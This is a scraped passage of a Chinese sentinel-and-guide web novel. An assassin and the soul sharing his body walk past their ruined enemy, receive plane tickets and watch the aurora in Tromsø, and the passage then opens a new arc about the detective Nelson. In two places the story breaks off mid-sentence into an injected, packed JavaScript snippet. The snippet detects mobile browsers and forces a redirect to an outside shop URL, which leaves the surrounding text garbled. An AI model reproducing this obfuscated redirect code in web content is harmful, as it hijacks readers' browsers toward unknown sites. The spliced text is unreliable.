伦滋.赫夫迈死了似的倒在地上,等两个“蟑螂”走后,却突然像疯狗一样爬起来,贪婪地抓起地上的卷烟纸塞进嘴里,咀嚼起来。他浑身瘦得只剩骨架,肌肉时不时筋挛,发出“嗬嗬”的怪声。 唾液一直在不受控制地从他嘴角淌出,那是他嗑药到重度成瘾的症状。 如果不是有着直逼S级的五感,哪怕是海克也很难认出这幅面目全非的面孔。 他想过这人死了或者坐牢的可能性,却没想到那曾经高高在上,草菅人命的伦滋.赫夫迈会变成“蟑螂”中的“蟑螂”。 自从哈瑞.赫夫迈被前首席柯琳斯和莱蒂斯等人扳倒之后,这少爷就失去了庇护。他的父亲从没爱他到愿意付出金钱以外的东西的地步,如今进了监狱,产业也没留给他半点。 白痴少爷很快挥霍光了剩下的钱,又没有能力维生,没几个月就堕落成最底层的流浪汉,被寒冷,饥饿,药瘾和疾病无时无刻折磨着,生不如死。 很奇怪,海克曾经想尽办法要杀他,也一直觉得,要是自己真的遇到他,一定会毫不犹豫地将他脖子拧断。 可如今真的看见他出现在自己面前,海克第一反应却是在犹豫要不要告诉白鸟。 白鸟的心情,比伦滋的生死更重要。 然而下一秒他才发现,白鸟的目光也落在了那个癫狂的流浪汉身上。 也许是察觉到海克异常的情绪,也许是恨之入骨的直觉,白鸟同样瞬间就认出了伦滋,整个人早已像断电一样愣在原地。 “……白鸟,你,想怎么做?” 几秒后,海克问道。他不知道怎么才能让白鸟好受一点,于是有些笨拙地说着: “在这里,杀了他,还是,折磨他?我不需要任何工具。我可以保证他在最痛苦的状态下,活一个月,再死。” 但白鸟只是愣着,身体轻轻颤抖,好像又回到了快要死去的时候。海克最怕的就是这一幕,在精神图景中不知所措了一阵,挡在了白鸟和伦滋之间,拉起他的手。 “白鸟,别怕。我在这里。他已经,不可能再伤害你了。” 海克看着那双蓝眼睛,有些着急地跟向导强调。亚马逊森蚺也趴在白鸟肩头,用凉凉的头顶蹭蹭白鸟的脸颊。 “海克……” 蛇鳞的凉意和被牵住的触感猛地将白鸟从失意中唤醒。像是浮出水面一般,他放空的瞳孔中浮现出高光。 他环顾四周,亚马逊雨林中阳光温柔,而与自己相伴的杀手提着一袋食材,要和他一起回家。 刚刚结束一天的工作时,他们商量好,今晚要做勃艮第牛肉。他们在网上搜了教程,刚刚还在讨论烤箱的温度。 “……” 白鸟眨了眨眼,如梦初醒。他忽然不再发抖了。 他回握住海克的手,蓝色的眼睛流转过复杂的情绪,归于了平静。 “不,海克。我只是恨他,但……” 白鸟用一种如释重负的语气道: “但看到他我才发现,我好像已经……不怕他了。” “你已经救我出来了。现在,他不可能再夺走我的生活……不可能再夺走我的尊严了。” 他似乎有些想哭,眼中氤氲,却没有落泪。 他只是对海克露出了一个淡淡的笑来,说道: “我终于……不再害怕他了。” 不远处的地上,伦滋把卷烟纸吐出来,又放回嘴里,反复几次,直到再榨不出一点味道。他忽然大叫起来,然后开始用力抓自己的皮肤,直到满手是血也没有停下。他的身上有大大小小的烂疮,似乎是感染了某种攻击免疫系统的疾病,已经命不久矣。 海克和白鸟对视一眼,白鸟似乎还想说些什么,但最终只是摇了摇头:“有点恶心,我们走吧。” 他们于是从伦滋身边走过,没有再多看一眼,就好像真的只是路过了一只蟑螂。 他的确叫他们恶心,但再也没别的东西了。 他们还要回家做菜,要切蘑菇,炒洋葱,把牛肉在红酒中煮过后再放入烤箱——平凡的一天中,还有太多的事情要做。仇恨和痛苦不会轻易消解,但在想到他们租下的小房子的厨房和灯光,他们只觉得对伦滋动手纯粹是浪费回家的时间。 他们走出小巷,将那个肮脏的人永远地抛弃在阴影里,携手走向平静的生活。 伦滋会继续使自己腐烂,苟延残喘,疯癫不堪地活着,活着,然后有一天发病身亡、被人随手打死,或者在药瘾发作的折磨中死去。 而他们要做的,只是回家。 海克放下黄玫瑰,把司康饼和碱水包从纸袋里取出来,发现桌上摆不下了。 餐桌上有点乱,放着水杯和一瓶喝了一半的饮料,还晾着烤盘和他们昨天做蛋挞的模具。 虽然白鸟曾经建议他去做面包师,但经过实践和两个报废的烤箱,他们发现这具身体里的两个灵魂确实都没有这个天赋。 海克选择了最踏实的行业,去超市当了员工,只把烘焙保留□□好。倒是白鸟经常趁他工作时偷用他感官和能力,带着好奇的森蚺一起在烘焙区偷师。 海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356944|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克把纸袋里剩下的东西放去了开放式厨房。他突然意识到,自从和白鸟一起住进来之后,他的房子里就满是生活的痕迹,再也没有像从前那样空白了。 他把苹果切片,在橙子上插上丁香,把香料、水果和红酒倒进锅里小火慢煮。空气里很快弥漫开香料和红酒的味道,还有温暖的热度和飘逸的烟。 海克去洗了个马克杯,用来盛放煮好的热红酒——这是种在圣诞期间很受欢迎的饮料,他在超市值了一天夜班,正适合回家喝一杯热饮,然后睡觉。 就在这时,一个声音突然从身后响起: “闻起来不错,待会我可以也来一杯吗?” “噌——!” 海克回身掷出厨刀。 没有人体被击中的声音,他只看见一个穿风衣的棕发男人坐在他家沙发上,笑着对他挥了挥手。 刀尖闪着寒光,深深扎进沙发。 “好久不见,你还真是一点没有退步啊。要不是我用了认知误导,现在被刺穿的就是我喉咙了。” 不请自来的尼尔森.莱顿说着,反手将厨刀从沙发里拔出来,对沙发的口子比划了一下:“哎,好像有点深啊,这个应该不会让我赔吧?” 白鸟说:“好久不见啊,尼尔森先生。” 经过三年的尝试,他的灵魂已经能够在共感者的眼中单独显现。如今尼尔森看见的是一个友善的白鸟,和一个站在旁边,眼神叫人有些害怕的海克。 尼尔森并不害怕:“好久不见啊二位。圣诞快乐。” “圣诞快乐,没想到您会突然登门拜访。您要是昨天来的话,还可以见见卢娜小姐。”白鸟亲切地跟他打招呼。作为向导,他能感觉到尼尔森没有敌意。 更何况尼尔森当年帮忙救下了卢娜,在扳倒哈瑞.赫夫迈的事件里也至关重要。他的突然出现并不会让白鸟觉得冒犯。 白发的向导像和邻居唠家常一样问:“莱蒂斯小姐呢?她是您的哨兵吧,没和您一起吗?” “三年前那会儿还不是呢。”尼尔森摆摆手,“她现在人在首都,忙得要死。毕竟是刚上任的现任首席,要处理的事情多。 “内阁和塔里的家伙又都虎视眈眈,破事没完没了的。有人不信莱蒂斯是黑暗哨兵,总觉得自己能解决掉她或者我——猜猜我们上个星期干掉了多少个刺客?” 海克皱了下眉,就他而言,这是很丰富的表情:“业界的频率来看,七、八个?” 尼尔森笑着举起双手,比了个数字:“十二个。九个冲着她,三个冲着我。都是A级往上,但我得说,他们都不如你厉害。” “真正强大的哨兵,都知道,莱蒂斯就是这个时代的黑暗哨兵。他们不会接这个任务,因为她比任何人都强。”海克用漆黑的眼睛盯着尼尔森,“至于你……如果我现在要杀你,也很难。你的能力限制,前首席同意解除了?” 逃离货轮后,他们就塔交给海克的任务交换过情报,尼尔森得知摧毁实验室的命令正是柯琳斯下达的,而海克也因此知道了尼尔森具有认知误导能力,只是一直被监控限制。 而这也正是他觉得不可思议的原因——尼尔森的监控是以严苛和果决著称的前首席柯琳斯亲自实施的,海克不认为她会放任尼尔森使用他的能力。 “呵,就算那个老太婆不同意,我也差不多能自己突破她的监控了。”尼尔森面露嘲讽,“不过最后那老不死的说,她虽然信不过我,但信得过莱蒂斯。她相信和莱蒂斯结合了之后,我会被管得死死的,做不了半点为非作歹的事儿,然后就把限制给解了——啊,真讨厌,这点她还真说对了。” “您和莱蒂斯结合了?恭喜。” 感知过他们情感的白鸟情绪十分稳定地评价,而海克身为一个有妹妹的人,下意识地露出了不太赞同的目光。 “怎么你们都是这反应。我才是被咬了一口然后一辈子都离不开她的那个啊!”尼尔森感觉到海克的情绪,立刻给自己鸣冤叫屈,“唉……都说哨兵向导结合之后不能长时间分开,结果她还把我赶过来跑腿。” 他把手放在茶几,手指划过桌面,借着认知误导的小把戏,两张纸制品像变魔术一样出现在了桌上。 那是两张从圣卢塞特去奥斯陆的机票。 “……” 房间里,热红酒的香气让人眩晕。 看清文字的刹那,海克和白鸟都有些不知所措。像是一个遥远的梦境突然和现实交错,他们甚至有些无法分辨自己身在何处。 这两张机票对他们来说并不算贵,海克的资产完全能够负担得起。 真正重要的,是这张机票所代表的意义。 “你们是她的第一个案子,所以莱蒂斯任职首席之后,做成的第一件事,就是解除了海克不能离开圣卢塞特的禁止令。” “虽然酒神节和哈瑞.赫夫迈的事情早就结束了,但她一直都记得你们想看极光的愿望。” 尼尔森的眼里难得地带着真诚的笑意。 “这是来自我家哨兵的圣诞快乐。海克,白鸟,你们现在可以去北方……或者世界上任何的地方了。” 55. 第五十四章 本章推荐bgm:bilss—bymilet(葬送的芙莉莲第十一集特殊ED) 下午四点过,海克下了火车。 这里是挪威的特罗瑟姆。极夜的季节里,天空并不明亮,只是呈现出一种温柔的深蓝色调。海克走在街道淡金色的灯光和北欧呼啸的寒风中,举起相机,对着远方拍了张照片。 “嗯……还是不太行。”白鸟有些苦恼地看着屏幕,“这个角度拍不全啊,要是能站得更高一点就好了。” 他说的是特罗瑟姆的北极大教堂。这座高大的白色三角状建筑的灵感来自于雪山,数十米的高度在这座小镇上格外显眼。教堂正面清透的玻璃上倒映着小镇,海洋和雪山,仿佛要将整座城市纳入了自己的屋檐下庇护。 特罗瑟姆没有高楼大厦,街道两旁的房屋最多不过三层,但从这条街上拍摄,教堂还是会被挡住一部分。海克不懂摄影,拍照全靠白鸟指挥,这会儿听了白鸟的建议,身形一动,干脆翻上了旁边的房顶,踩进屋顶积雪里。 “这里可以吗?” “唔哇……” 海克站得稳稳的,白鸟的身体却在精神图景里晃了晃,海克赶紧扶了他一把。白鸟的灵魂有时候会跟不上海克的行动,尤其是现在这种情况——他说海克每次飞檐走壁的时候,自己就像是在过山车。 “抱歉。”海克说,然后看见森蚺从白鸟的肩膀上冒出头来,对着他吐了下信子。 海克皱了下眉:“……喂,你,从白鸟身上下来。” 怪不得向导站不稳,身上缠这么大只一条蛇,搁谁谁倒。 “它只是冷而已,让它呆着吧。”白鸟摸摸森蚺脑袋,对这根本算不上小的小动物过度溺爱,“这里可是挪威最北的城市,变温动物一定很难熬。” “它可以冬眠。” “只有我们两个人看这么漂亮的景色,却要它睡觉,也太不公平了吧。” 白鸟笑了一下,转身看向前方。昨晚刚刚下了一场雪,整座城市都还淹没在厚厚的雪里,蓬松的积雪连成毛茸茸的一片,而一扇扇窗户中透出的灯光洒在结冰的街道上,像是凝固的焦糖。 远远有一座巨大的白色尖顶屹立在海边,亮起的灯光和里面的彩色花窗让它看起来科幻又神圣。一座大桥跨过冰蓝的海,连接着对岸灯火通明的城市。 白鸟的声音乘着风传来,他问:“你觉得怎么样?” 海克只是觉得森蚺果然还是应该从白鸟身上下来。但天高海阔,白鸟的短发在屋顶的风中飘飞,蓝色的眼睛里闪烁着光芒,正如远方的雪山与海,让海克意识到自己确实感到一种触动。 他如实回答:“好看。” “那就在这里拍我们在特罗瑟姆的第一张明信片吧。”白鸟用手比了个姿势框住眼前的风景,眯起一只眼睛,“我想莱蒂斯小姐和尼尔森先生也会喜欢的。” 把照片印成明信片做礼物,这也是白鸟的主意,海克对此相当佩服。 他虽然精通如何致人于死地,却对挑选礼物束手无策。当白鸟告诉他旅行是要带伴手礼回家的时候,他只能联想到有客户要求他把目标身上的器官带回。 他们昨天刚逛完奥斯陆,在白鸟的建议下,海克给父母准备了烟熏三文鱼,还帮卢娜在蒙克美术馆带了名画呐喊的明信片。尽管他完全不理解一个在画面右下角尖叫的小人在艺术史上有何地位,但卢娜特别喜欢,她说这幅画很生动地表现出了自己在医院上班的精神状态。 至于莱蒂斯和尼尔森的礼物,则完全难倒了这位强大的杀手。 他在奥斯陆的纪念品店里逛到头晕目眩,头一次产生了类似于疲惫的感觉。面容不太讨喜的挪威山妖冰箱贴在货架上对他挤眉弄眼,他问白鸟:“这个,怎么样?普通的人,会喜欢这个吧?” 每到这种时候,白鸟就觉得海克只是一个会随时被社会坑蒙拐骗的单纯青年:“不……虽然它的确很有特色,但我想大多数人都不会喜欢——嗯,直白一点说,它挺丑的。” 旁边货架的明信片也挺丑的,颇有种随便印点东西冤种游客就一定会买的自信。白鸟自己的精神图景里就有漂亮明信片,能秒这种工业制品十条街,于是他突然灵光一闪:“海克,不如我们自己拍照,印成明信片送给莱蒂斯小姐他们吧。” 他们在奥斯陆拍了三张,计划在特罗瑟姆也拍同样的数量。白鸟指导海克调好参数,按下快门,很快得到了一张满意的照片。 “也许旅行摄影师也是个不错的职业……看来比起烘焙,我们更擅长这个呢。” 白鸟看着相机里的图片笑了笑。海克点头,森蚺却抱怨似的嘶嘶两声,显然烤箱附近的热度比屋顶大风更吸引它。 白鸟侧过脸贴贴它:“抱歉,这里确实有些冷了。” 和精神动物共通的触感让海克僵硬起来,他解释道:“我们去过,更冷的地方执行任务。我不冷,它也不冷,它只是,想缠着你。” 白鸟笑得似乎更开心了:“我知道,海克。但我们不是在执行任务,让自己暖和一点总是没错的。走吧,海克,我们去圣诞集市吃点东西。” 特罗瑟姆的圣诞集市就在北极大教堂外的广场。海克眺望了一眼教堂的方向,干脆直接以屋顶为路,向集市赶去。 顶级杀手的动作很快,也很轻,除了房顶的积雪抓住了他的一串脚印,谁也没有注意到有人从这里经过。白鸟想,如果有小孩子爬到屋顶玩耍,一定会认为这是圣诞老人的痕迹。 街道和房屋自下方匆匆闪过。白鸟跟在他身后,感觉海克在带着自己飞行。 他们在附近的小巷里落地,然后被人潮带着,进入了热闹的集市里。一排排临时搭建的小屋上挂着彩灯和红绿相间的圣诞主题装饰,戴着圣诞帽的雪人随机分布在摊位两旁,抬头看去,一颗落着雪的大圣诞树正竖立在集市中央。 街道上飘满食物的香味和暖呼呼的烟。红酒,肉丸,糖霜面团和西班牙油条在橙色的灯光下镀上诱人的色泽,也有人带来了自制的小饼干,果酱和三文鱼,满满当当地摆在摊前。 几乎所有人都在吃东西,脸色因为食物的温暖而泛红。 地上的雪被频繁的踩踏变成了冰,走着滑溜溜的。海克买了盒糖烤杏仁,捧着肉桂与焦糖的香味,在滑溜溜的街上被人挤来挤去。他完全有能力躲开所有行人,但那太过谨慎了,不像一个普通游客所为,只有小孩子在冰面上向他跑过来时,他才会不着痕迹地让路。 “啊!” 又一个人滑倒了,一盒肉酱薯条平底起飞,连带旁边两个无辜路人一起滚到了路上。海克吃完焦脆香甜的糖烤杏仁,正在买糖霜面团。他一手从店员手里接过吃的,一手往前一伸,就这么轻松地接住了薯条,连上面的叉子都还在。 他在一阵热烈的掌声和欢呼中把薯条递还给一脸懵逼的游客,去排队买热饮,过了好几秒,身后才传来后知后觉的喊声: “谢谢您!先生!” 海克没什么反应,白鸟却笑了。他正在借海克的味觉吃糖霜面团,看起来非常满足。 向导喜欢甜食,也喜欢这种弥漫着愉快情绪的地方,它就像温泉一样让他放松,而海克刚刚引发的欢笑则像给他喂了一块烤棉花糖。谁能想到一位杀手会带来这样的东西呢?白鸟想,他可想不到比这更好的圣诞礼物了。 “白鸟,”海克喊他,嘴里的面团让杀手的声音模糊得有些可爱,“你要热可可,还是红酒?” “我选了甜食,饮料就你来选吧……啊,手机响了?” “嗯。” 海克比他更快注意到声音,拿出手机。 屏幕上有条新收到的短信: “我会在五点半来圣诞集市接您,请到一个方便找到您的地方等我。 ——极光猎人阿阑。” 海克环顾四周的人群,觉得极光猎人很难在集市找到自己。思考几秒后,他抬起了头。 “白鸟,我们去个人少的地方等极光猎人吧。” 极光猎人是北欧特有的职业。极光的出现是概率事件,而极光猎人的工作就是带游客前往最佳的极光观测点。他们有着丰富的追光经验,掌握各种测量工具和当地天气地形条件,除此之外,还会附赠接送服务。 二十二岁的阿阑才刚开始干这一行。他经验不足,但好歹是个哨兵,虽然不算很强,但做一个极光猎人还是绰绰有余。 他的能力使他能够安全地在极夜行车,还能辅助他观察天气找到极光,他对自己还是很有自信的。 结果他发现自己连自己的客人都找不着。 年轻人站在北极大教堂外一筹莫展,感官全开,却怎么也找不到一个黑发黑眼的男人。 这位客人在短信里和他约在北极大教堂附近人少的地方见面,但到了集市阿阑才反应过来,北极大教堂是整个圣诞集市的最中心,根本就没有人少的地方! 年轻人拨通电话,在人声嘈杂中堵住一边耳朵,对手机大声道:“hello,海克先生?海克先生!我是您雇的极光猎人阿阑。我已经到北极大教堂了,您在哪,我没看见您!您有看见我吗?” “看见了。”电话那头,一个平稳又有些沙哑的声音传来,“阿阑,我在上面。” “啊?什么上面?” “抬头,阿阑。” 阿阑闻声向上看去,凭借哨兵的视力,他看见北极大教堂外的巨大十字上坐着个黑漆漆的身影。那身影让他本能地感到一种恐惧和压力,好像孤身在野外遇见了一只野兽。他下意识地向后退了一步,只感觉眼前一黑,那身影就从十几米的高空平稳地落到了自己面前。 空气里弥漫着香甜的气息,阿阑第一眼注意到的是对方手里的那杯热巧克力。 它一滴都没有洒出来,只有一圈圈波纹在往外扩散。 “你好,阿阑。正如我说的,我在一个,人少的地方。” 黑发黑眼的男人跟年轻人打招呼,态度相当友善。他戴着条厚厚的围巾,发尖有白色的霜,仿佛只是个从一开始就站在这里的普通人。阿阑呆呆地抓着手机,脖子还维持着看向高空的角度,忍不住想:刚刚自己看到的自由落体都是幻觉吧,这人到底是从哪冒出来的? 直到他们一起上了轿车,阿阑也没想明白这个问题。 “我先送您去酒店。这家酒店在特罗瑟姆周边的森林里,开车一小时就能到。我给您订到了最好的木屋,出门就是冰湖,景色特别好,木屋里还自带冰鞋,白天可以去滑冰。” “今天酒店附近很有可能会有极光。您可以现在酒店里休息,我这边会时刻盯着极光的情况,一旦极光来了,我马上就开车载您去最佳观测点。” 阿阑一边开车一边介绍行程,瞥见副驾驶的海克正在摆弄相机,又补充一句:“哦对了,我还可以帮您拍照,免费的。” “不用了。我们想,自己摄影。” “……哈哈,”阿阑僵硬地笑笑,“当然没问题。顾客至上嘛。” 他并不是因为被拒绝而尴尬,只是他注意到这位客人虽然是孤身一人来到北欧,却总喜欢用复数自称,好像他身边还有一位形影不离的伙伴。 而且阿阑刚刚瞥见了相机的屏幕,上面是一张圣诞集市的照片,凭心而论,拍得相当好。 问题是这张照片是俯瞰的角度,说是无人机拍的他都信。但海克压根没带无人机。 他又想起那个十几米高的大十字架,他想不出来人怎么能跑到那上面去,更想不出来人要怎么从那上面下来。他的心里闪过微妙的害怕,但更多的是好奇。 过了一阵,他们路过了一家加油站。海克让阿阑停车,进去买了杯咖啡,还打了个电话。阿阑以为是他想喝,但他一口没碰。等前方的大路出现了一条分支的小路时,海克又让他往那条支路上开。 阿阑觉得奇怪,跟他解释:“去酒店是走这条大路。” “先去,支路。” 海克的回应言简意赅,就像其他任何时候一样。阿阑实在搞不懂这个男人,但又莫名觉得,最好还是听他的话。 他转动方向盘,往那条人迹罕至的支路上前行。车前灯破开夜色,向茫茫雪原延伸。 五分钟后,它照亮了一辆路边的白色汽车。 这辆车歪在雪地里,左边的轮胎深深陷在沟里,看起来相当糟糕。阿阑吓了一跳,赶紧刹车,根据挪威的法律,他得上去过问一下车主的情况。 车主是一个年轻的姑娘,和阿阑年纪相仿。她坐在驾驶座,眼眶都哭红了。她用大陆南方的口音说自己是租车来的游客,但因为天黑路滑,车陷进了雪坑里,正巧她的手机也没电了,连联系救援队都没有办法。 “我等了好久,这条路上怎么都没人经过……呜呜呜……我以为我要被冻死在这里了……” 少女吸着鼻子,眼泪汪汪,让阿阑手足无措,海克却在这时过来,朝阿阑递过来那杯尚有余温的热咖啡。 “这个,暖和。”他示意阿阑把咖啡杯放到小姑娘手里,“没关系。救援组,很快就会来,我打了电话。” “呜呜呜,谢谢……” 少女紧紧抱着咖啡,小口小口地啜饮。也许是食物带来的镇定作用,她的情绪好了一些。 阿阑不太好,他震惊地看着海克。 “所以您是为了她才……不对,您是怎么知道……?” 海克冷静地回答: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356945|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我听见的。” “……哦,这样啊。” 不对,等等,你听见什么了?? 阿阑人都傻了。海克在加油站就准备好了咖啡,这意味着他在那里就听见了这个姑娘在车里的哭声。 上帝啊,加油站离这条支路的距离那么远,他是用什么听的?雪原上狂风呼啸,阿阑一个哨兵都是到了附近在发现的情况。 海克不知道阿阑为什么表情复杂,他向来路看了眼,又说,“救援队,大概还有三分钟,就到。我们,陪她一会。” 阿阑完全看不见救援队的影子,但他已经不再会质疑海克的说法。他把自己的外套脱给少女披上,三分钟后,救援队准时到达,将少女和她的车一起拉走。 临走前,海克得到了女孩作为谢礼的马苏里拉芝士,而阿阑得到了她的电话号码。 木屋里,海克坐在点燃的壁炉旁,用火钳拨弄着柴火。 暖红色的火伴随着轻微的噼啪声跳动,把整个房间映得暖洋洋的。白鸟倚靠在木框窗户,看着窗外森林的影子和凝结的湖面。 这景色静谧而神秘,只是天空还是一片漆黑。 “看样子今晚不一定有极光呢。”白鸟回到壁炉边,在海克身边坐下,余光却还瞟着窗外。一提起极光这个词,他的心跳就会加快。 明明天上一点迹象都没有,但只是和海克一起在木屋里等待极光的降临,一种莫名的缱绻就会弥漫在白鸟胸口,怎么也抑制不住。 海克正在做芝士烤土豆。木屋里自带了冰箱和食材,他把土豆洗净,包着锡纸扔进壁炉里,等烤土豆的焦香升起后,再用火钳把它取出。 “会有的,今晚一定会有。”他像个执着的孩子一样天真又真诚地对白鸟说,手上娴熟地把土豆切开,放入女孩送的马苏里拉芝士和黄油,“阿阑熟悉极光,他会叫我们的。” “那孩子很崇拜你哦。”白鸟笑笑,白色的发丝被火光映出了夕阳伴温暖的色泽,“他觉得你很厉害。我能感觉得到。” 海克把土豆重新包起来,借余温融化芝士:“我以为他怕我。” “一开始是有点,不过这很正常。一开始我也怕你。” “所以才,没告诉我名字吗,伊伦?” 被叫到本名的白鸟脸红了一下。他是在跟海克逃出生天后才告诉海克自己真名的,尽管这只是一个理所当然的举动,他却莫名觉得自己终于将整个灵魂交到了海克手里。 但其实他隐瞒真名的理由相当简单:“不,那个……只是因为我的名字化名自和平女神Irene,而且常用为女名,有点尴尬而已……” 海克一本正经:“很适合你,为什么会尴尬,伊伦?你很漂亮,精神动物也象征和平。” “呜……还是叫我白鸟吧。”白发蓝眼的青年像是被水泡过的纸片一样软了下去,耳尖也开始发红。他生硬地转移话题:“今天你救助那个女孩的时候,是怎么想到让阿阑去递咖啡的?我还以为你不懂这些呢?” “懂什么?”海克困惑,“我怕自己会吓到她。阿阑比我看起来,要亲切很多。” “果然……不过阿阑非常感谢你哦,而且比看见你从十字架上跳下来时还要崇拜你了。” 他们就这么有一搭没一搭地聊天,一起吃掉了芝士烤土豆。白鸟教海克把照片从相机转移到手机里,和他一起倒在床上研究调色,但炉火温暖,冬夜又漫长,很快让他们都产生了困倦的感觉。 森蚺已经趴在壁炉边睡着了,身上沾着炉火里冒出的芝士香。它和海克曾经一起熬过严寒,只等将目标一击毙命,此时却都败在了一间木屋之中。 海克起身去洗漱,准备也先休息一下——整个世界的时光都在这里变得很慢,很平静,等待极光的急切似乎也跟着一起慢了下来,慢成白鸟在自己身边的一呼一吸。 然而奇迹就是在这种不经意的时刻降临的。 某一刻——也许就是海克刚刚取出牙刷的那一刻——他听见天空中响起了沙沙的声音,似乎从很远,很高的地方而来,就像神明轻轻拉上一层纱幕。 也许常人难以辨别它于风声的差异,海克却觉得它是那样的震耳欲聋,以至于让一位杀手的双手都开始发抖。 他抬头看向天空的方向,扔下牙刷,夺门而出。 阿阑被一声巨响吓到了。 他毕竟是哨兵,对声音还是灵敏,听出了巨响来自于海克的木屋。但等他向窗外望去,却发现那只是大风将木屋房门吹关上的响声。 然后,这位年轻的极光猎人愣住了。 在木屋上方,是极光降临的那个瞬间。他看见数道瑰丽而磅礴的绿色光带在天空中亮起,卷着星辰如湍流般汇聚,一抹粉红在光带尾部闪过,旋即燃烧起来,又将夜空转为粉与紫的融合。 太阳风暴与大气高层剧烈的碰撞,那样高,那样远,甚至远在云层之上,却又描摹出森林的树影,沉淀进冻湖的冰层——它运动着,流转着,不断绽放着,天地与人的瞳孔之中,皆是它的色彩。 这里不似人间。 阿阑不敢呼吸,他在此地生活多年,也从未见过如此剧烈而绚烂的极光爆发。那光幕低垂,覆盖了整片天空,若是曾经在漫长极夜中的维京人看见这阿斯加德的奇迹,也定会为通往神殿的彩虹桥而落泪。 阿阑慌不迭地掏出手机,要给海克先生打电话,却看见一个身影早已跌跌撞撞地冲进了映着极光的冰面。 那是黑发黑眼的海克.雷德,从数十米的十字架上落地而面不改色的男人,此刻却差点跌倒在冰面上。 阿阑听见他在大喊一个人的名字。 海克很快稳住了身体,阿阑看见他追逐着极光的轨迹,向着湖心奔去。他穿着冰鞋,却如履平地,冰刀在湖上留下两道流畅的痕迹,冰屑如同明亮的碎星被他甩在身后——他滑得太快,简直如同飞行。 高高的云杉为他拨开云层,湖心徜徉着极光的倒影,好像有星河正在冰面下流淌。一切太梦幻,太明亮,而阿阑在这奇迹降临的时刻,似乎看见了一个白色的身影出现在海克身旁,和海克一同仰望着天空。 是幻觉吗?阿阑听见了笑声,似乎还带着哭腔和哽咽。海克握住那白色身影的腰,将他高高举起,和他一同在极光之下旋转。 他们是那样轻快,那样自由,似乎生来就该在这样的光芒下徜徉,又似乎用尽了一切才等来了这一个瞬间,阿阑看着,不知道为什么有了一种流泪的冲动。 而在阿阑模糊的泪眼中,海克和白鸟手牵着手,往湖的深处,往天的边际继续奔去。一黑一白的身影相伴而行,乘着传说中的彩虹桥,冲进了无垠的极光。 TheEND. 56. 第五十五章 PartTwo陨星余迹 “哥哥,”年幼的男孩毫无知觉地带着灿烂的笑,“我们很快就可以过上好日子了。” “……” 年长一些的男孩睁大了眼睛。冬日的寒冷凝结在没有暖气的破旧房屋里,他陷入了长久的沉默。 第56章难道你想让她相亲吗? 奥西恩王国的议员选举在一个多月后结束了。 哈瑞.赫夫迈当选那刻,街道沸腾,欢呼震天。有人喊着口号,有人放声高歌,有人和反对政派的支持者打了一架,被塞进了同一个拘留所隔墙对骂。 尼尔森坐在破出租屋的电视机前,瞳孔中浮动着屏幕的冷光。节目正在重播哈瑞.赫夫迈竞选成功的演讲,这从政的商人发表了一番相当振奋人心的演说,因此鲜少有人注意到,他略过了自己纲领里“削减对塔和共感者资源投入”的那部分。 在电视传出的阵阵掌声中,尼尔森弯起嘴角。 草菅人命的伦滋.赫夫迈没有受到审判,他那同恶相济的爹毫无阻碍地登上议员宝座,但尼尔森一点儿也不在乎。 他抬起手,在空中一转,感到一阵触电般的战栗从指尖蔓延到脊椎。 金色在他眼中升起,与此同时,尼尔森精神图景的深海里,盘旋的离翼水母迸发出光芒,如同新生的螺旋星系劈开茫茫黑暗。 他看着空无一物的手掌,知道自己已经获得了首席柯林斯.弥斯许诺的报酬。 五次自由使用认知误导的机会,每次一分钟——他得到了五分钟。 五分钟能做什么? 他真的太久没用能力,已经不那么熟练了,所以,很遗憾,在准备充分的情况下,五分钟大概只够他推着购物车进银行金库搬走一辈子花不完的黄金,让政客对着摄像机大谈自己私吞的钱财,或者让几十个荷枪实弹瞄准自己的士兵在一瞬间全部自杀而已。 然后三个月过去了,尼尔森上气不接下气地在街上狂奔。这次倒不是被偷拍的目标在追他,而是他在追别人—— “妈的王八蛋,给我站住,我知道你是故意的!那辆的共享单车还在扣我的钱!” 好吧,尼尔森的能力是回来了,但他的生活压根没什么变化。 他还是捉襟见肘,手忙脚乱,干着随时可能挨揍的营生。 这次他跑了大半个圣卢塞特来见客户,结果惨遭被鸽。 刚扫了辆共享单车想骑去地铁站,又被冲上来的偷车贼把车蹬走,简直倒霉透顶。 倒霉透顶也只能受着。没办法,尼尔森终究是戴着枷锁的罪犯,他不能把那五分钟浪费在无关紧要的事情上。 尼尔森不需要一辈子用不完的黄金,他需要破解自己脑子里监控的方法。 圣卢赛特深冬的气候阴晴不定。夜幕早早降临后,浓重的雾也从贫民区深处涌出。街上的建筑和来往的人像是从另一个世界移动进视野,尼尔森只能看见路灯朦胧的光线。那个混蛋蹬着他的自行车一溜烟冲向浓雾深处,体力有限的侦探长跑十分钟,眼看就要跟丢,一个人影却突然从天而降,一脚踹在了偷车贼的正脸上。 “梆,滋滋,嘭——哐当!” 一阵猫和老鼠的滑稽音效后,单车和车上的人全都栽倒在地,一动不动。尼尔森赶紧停住脚步,抬头一看,直接愣住: “莱蒂斯?你怎么在这里?” “我刚听见你在喊共享单车还在扣钱什么的。” 绿眼睛的小姑娘吊在半空,单手抓着贫民窟上空晾衣服的钢丝,打了个招呼之后,又轻松地跳到下方的车顶上:“我和唐娜恰好在这儿执行任务,顺便下来帮你个忙。你喊得真的很大声,尼尔森。” 